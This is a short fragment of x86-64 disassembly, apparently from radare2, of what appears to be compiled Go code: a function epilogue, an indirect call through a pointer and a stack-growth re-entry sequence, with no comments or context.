mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.0046b520
xorps xmm15, xmm15
mov r14, qword [0x011bf1d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x4234bd
xor eax, eax
jmp 0x4234c7
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x423412
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.0046b660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.004233e0